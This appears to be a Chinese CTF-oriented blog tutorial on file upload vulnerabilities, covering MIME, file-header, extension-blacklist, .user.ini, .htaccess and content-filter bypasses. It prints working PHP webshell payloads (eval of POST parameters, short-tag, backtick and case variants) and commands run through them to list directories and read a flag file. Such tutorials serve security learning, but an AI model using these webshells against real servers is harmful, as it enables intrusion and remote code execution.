文件上传漏洞思路详解

news/2024/9/20 16:34:48/文章来源:https://www.cnblogs.com/xinghaihe/p/18422193

1. 文件上传漏洞简介

1.1 什么是文件上传漏洞

文件上传漏洞是一种常见的Web应用程序漏洞,攻击者可以通过向目标服务器上传恶意文件来实现攻击目的。这类漏洞的产生通常是因为服务器没有对用户上传的文件进行充分的安全检查和验证。

1.2 文件上传漏洞有哪些危害

1. 恶意代码执行

攻击者上传带有恶意代码的文件(如 .php.jsp 等动态脚本文件),服务器可能会直接执行这些文件中的恶意代码,导致远程代码执行(RCE)。

2. Webshell 攻击

攻击者通过上传 Webshell(Web 后门)文件,获得对服务器的控制权。Webshell 允许攻击者在服务器上执行命令,查看、修改文件,甚至获取系统权限。

3. 信息泄露

在某些情况下,攻击者可能上传恶意文件(如图像文件),然后通过这些文件来推断服务器的配置,或利用其他漏洞提取敏感信息。

4. 拒绝服务(DoS)

攻击者上传大文件,消耗服务器的存储资源,导致服务器资源耗尽,影响正常服务。

2. 文件上传漏洞利用思路

要理解文件上传漏洞的进攻思路,首先要明白都会有哪些方式来防止恶意的文件上传,从而有依据的绕过这些防守,从而实现漏洞的利用。

2.1 文件格式验证绕过

1. 前端检测

在上传文件时,前端只会允许上传特定后缀的文件,例如png、jpg、gif等,可以通过如下代码实现

<input type="file" accept=".jpg,.png,.gif">

毕竟检验在前端,可以直接F12修改js代码;或者先上传被允许的文件,发包后利用burp再篡改文件名与里面的内容。这里推荐第二种方式,因为这样就不需要再去篡改MIME值了。

2. MIME检测——篡改数据包

后端内置的文件信息操作函数可以用来获取文件的 MIME 类型,从而限制文件类型,常见的图片MIME有image/jpeg,image/png,image/gif等。
MIME 类型的获取一般是通过HTTP数据包中的 Content-Type 头部字段来完成。在文件上传过程中,客户端(浏览器或其他工具)会通过 Content-Type 头部字段告知服务器文件的MIME类型。因此我们可以通过burpsuite修改数据包content-type来绕过检验。

3. 文件头验证——篡改标识符

文件头验证是一种通过检查文件头部信息(即文件的前几个字节)来判断文件类型的技术。例如,当你用记事本打开一张jpg格式的图片,会出现FF D8 FF E0的标识符,这与jpg格式对应。因而可以利用文件头验证检测出文件的真实类型。

绕过它的方式也很简单,只要在上传的文件的内容前添加一个允许的标识符即可绕过。一般来说,允许格式为图片时,添加GIF89a即可绕过。

4. 后缀黑名单——多后缀解析&双写绕过&00截断

后端还可能通过黑名单的形式对后缀进行过滤,可以通过多以下方法绕过:

  • 后端可能将php进行删除,通过双写为phphpp,使得被删除后仍组成php
  • 变异文件扩展名绕过:很多服务器和编程语言(例如 PHP)不仅仅支持 .php 作为 PHP 文件的扩展名,还支持其他变体的扩展名,例如:.php3 .php4 .php5 .phtml
  • 多后缀解析:Apache 服务器通常使用最后一个扩展名作为解析依据。IIS 服务器可能根据第一个扩展名或不同的策略来解析。可以通过在文件名中添加多个扩展名(如malicious.php.jpgshell.jpg.php),绕过前端和后端的安全检查,从而上传恶意文件。
  • 00截断:利用字符串终止符(空字节,\x00)绕过文件上传中的扩展名检查或路径处理漏洞。例如,可以构造一个文件名为 shell.php\x00.jpg。如果后端代码在处理文件名时,遇到 \x00 截断符,那么服务器会将文件名解析为 shell.php,但系统认为它是一个 .jpg 文件,从而允许文件上传。

5. 小结

基于以上验证与绕过,我们一般有这样的思路:上传符合条件的图片,burp抓包发送到repeater模块,修改文件名为php后缀,添加文件标识符,写入后门代码,发包尝试去绕过黑名单,从而将后门代码上传到服务端。
值得一提的是,我们必须要上传含后门的php文件,而非含后门的图片,因为图片中的php代码是不会被解析并执行的。

<?php eval($_POST['x']);?>

6. 后门代码的利用

上传成功后,按F12查看文件上传地址,找到与上传的后门同目录的php文件

hackbar

x=system('ls -l -a -h'); 详细显示当前目录 
x=system('ls -lha ../'); 详细显示上级目录
x=system('tac ../flag.php');


蚁剑
蚁剑的安装请自行搜索
右键界面,添加数据,写入有后门代码的地址,输入密码(即我们上传的后门代码中post的参数),点击测试连接,成功后点击添加,然后进入数据即可看到服务器的目录与文件。

2.2 .user.ini

1. .user.ini简介

.user.iniphp的一种配置文件,这个设置可以告诉PHP解释器在解释每个用户请求的PHP文件之前自动包含一个指定的文件,即auto_prepend_file所指定的文件。因此我们可以有这样的思路:上传含有后门的图片,利用.user.ini将后门代码包含到php文件中。
值得注意的是,由于.user.ini是向当前文件夹中php文件自动包含图片,因此必须保证当前文件夹有php文件,我们去访问这个php文件,才能用hackbar传参或者用蚁剑连接

2. 上传.user.ini

修改文件名为.user.ini,写入以下代码。

auto_prepend_file=hack.png

![[Pasted image 20240920103953.png]]

3. 上传后门图片

修改文件名为图片格式,写入后门代码。

<?php eval($_POST['x']);?>

4. 后门代码利用

与上一小节相同,不再赘述。

2.3 .htaccess

1. .htaccess简介

.htaccess 是 Apache HTTP 服务器中一种配置文件,用于针对特定目录进行局部配置。其全称为 "Hypertext Access",.htaccess 文件通常位于 Web 服务器的某个目录中,能够覆盖 Apache 主配置文件 httpd.conf 的全局设置。通过 .htaccess 文件,可以通过文件解析配置,将png后缀的文件解析成php。

AddType application/x-httpd-php .png

2. 如何利用

.htaccess的利用方式与.user.ini相近,此处不详细演示。
上传.htaccess

AddType application/x-httpd-php .png

上传hack.png

<?php eval($_POST['x']);?>

访问hack.png即可连上后门

2.4 内容过滤

后端还可以通过检查文件的内容来限制恶意的文件上传

1. <?php过滤&短标签&其他语言&大小写绕过

后端通过限制php代码的固定格式,来避免文件中包含恶意的内容。
利用短标签绕过

<?=表达式?>                                    //不需要配置参数
<?=eval($_POST['x']);?>

换用js语言绕过

<script language="php">echo '1';</script>     //不需要配置参数
<script language="php">eval($_POST['x']);</script>

利用大小写绕过

<?PhP eval($_POST['x']);?>

2. []过滤&换{}

后端通过过滤[]符号来限制php中某些函数的使用,从而限制恶意的文件上传
php支持把[]换成{},下方的后门代码同样可以使用

<?php eval($_POST{'x'});?>

3. 严格过滤&恶意代码执行

当对于后门代码的过滤过于严格时,可以尝试直接执行php来获得想要的内容。上传php恶意代码的思路与[[#2.1 文件格式验证绕过]]和[[#2.2 .user.ini]]相同。
常用的恶意代码如下,system() 函数用于在 PHP 中执行操作系统级别的命令,并将输出直接返回到浏览器。:

<php system('ls -lha');?>         //查看当前目录文件
<php system('ls -lha ../');?>     //查看上级目录文件
<php system('tac ../flag.php');?> //显示flag.php的内容

<?php过滤&短标签&其他语言&大小写

<=system('ls -lha');?>         //查看当前目录文件

()过滤&反引号绕过
反引号语法:在 PHP 中,使用反引号 `command` 的方式可以执行 shell 命令,并将命令的输出作为字符串返回

<?=`tac ../f*`?>

宇宙安全声明

本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/800587.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

信息学奥赛初赛天天练-93-CSP-S2023阅读程序3-sort排序、同底对数求和、二分查找、二分答案

2023 CSP-S 阅读程序2 判断题正确填 √,错误填 ⨉ ;除特殊说明外,判断题 1.5 分,选择题 3 分,共计 40 分) 01 #include <vector> 02 #include <algorithm> 03 #include <iostream> 04 05 using namespace std; 06 07 bool f0(vector<int> &a…

缓存

Django4中的缓存 详细文档参考:https://www.cnblogs.com/Neeo/articles/17589834.html Django支持的缓存有好几种:三方的Redis(推荐),Memcached(不推荐) 缓存到本地文件 缓存到本地数据库 缓存到内存里 虚拟缓存缓存的粒度 局部视图缓存 缓存指定的视图函数,有两种写法.在视…

VSCode 定义代码模板

在使用编写代码的过程中,经常会写一些固定代码段。 以 Java 为例,定义实体类时一般都会编写序列化版本号: @Serial private static final long serialVersionUID = 1L;这段代码是固定写法,基本不会变,如果每次都手写的话,就比较繁琐了。 VSCode 提供了生成代码段的功能,…

轻松部署!龙蜥操作系统安装Zabbix7.0详细教程

龙蜥操作系统(Anolis OS)作为龙蜥社区发行的开源Linux发行版,以其稳定、高性能、安全、可靠和100%兼容CentOS 8软件生态的特点,成为众多企业和开发者的首选操作系统。它不仅支持多计算架构,如X86、ARM、RISC-V等,还针对云端场景进行了优化,为云上典型场景带来显著的性能…

WPF 隐藏listview控件的滚动条

两种方式:需要自行验证,对控件,那个有效,那个没效对于不可控的事情,保持乐观; 对于可控的事情,保持谨慎

前端实现文件导出

在后台管理系统中,我们经常会遇到文件导出这个需求,下面,我将几种常见的导出方式做一个简单的介绍,让大家在以后遇到此类需求时,能够切合实际情况,采取相对合理的方式。 导出目标 文件地址已经存在服务器上的静态文件,比如用户上传的图片、材料等等。http://192.168.1.1…

JavaScript拆分字符串时产生空字符的原因

问题描述 使用JavaScript的split方法拆分字符串时出现一些空字符串"",尤其是当使用正则表达式作为分隔符的时候。 相关问题javascript正则表达式对字符串分组时产生空字符串组?在上面这个问题中,题主使用正则表达式对字符串进行分割时产生了多个空字符串"&qu…

ASR6601 是一款通用的 Sub-GHz 无线通讯 SoC 芯片

SoC 芯片ASR6601 是一款通用的 Sub-GHz 无线通讯 SoC 芯片 该芯片集成了 Sub-GHz 射频收发器和 32 位的 RISC MCU。Sub-GHz 射频收发器不仅支持 LoRa 调制,还支持 (G)FSK 和 G(MSK) 等调制方式。CPU 为 ARM STAR,工作频率最大支持 48 MHz。此外,该芯片支持 3 x I2C,1 x I2S…

[ABC221H] Count Multiset

题意思路 参考了题解做法。 设 \(f_{i, j}\) 表示填入 \(i\) 个数字,和为 \(j\) 的方案数。 每次可以填入 \(0\),或者将整个数列 \(+1\)。 \(g_{i, j}\) 表示填入 \(i\) 个数字,且这 \(i\) 个数字中没有 \(0\),何为 \(j\) 的方案数。 易得 \(g_{i, j} = f_{i, j - i}\),表…

ModelForm

1.7 ModelForm使用Form创建Form类 + 定义字段 class LoginForm(forms.Form):user = forms.CharField(label="用户名", widget=forms.TextInput)pwd = forms.CharField(label="密码", widget=forms.TextInput)视图def login(request):if request.method == …

深入理解Java对象结构

一、Java对象结构 实例化一个Java对象之后,该对象在内存中的结构是怎么样的?Java对象(Object实例)结构包括三部分:对象头、对象体和对齐字节,具体下图所示1、Java对象的三部分 (1)对象头 对象头包括三个字段,第一个字段叫作Mark Word(标记字),用于存储自身运行时的…

Kyutai 开源对话模型 Moshi;李飞飞空间智能公司已筹集超过 2.3 亿美元丨 RTE 开发者日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的新闻」、「有态度的观点」、「有意思的数据」、「有思考的文章」、「有看点的会议」,但内容仅代表编辑的个人观点…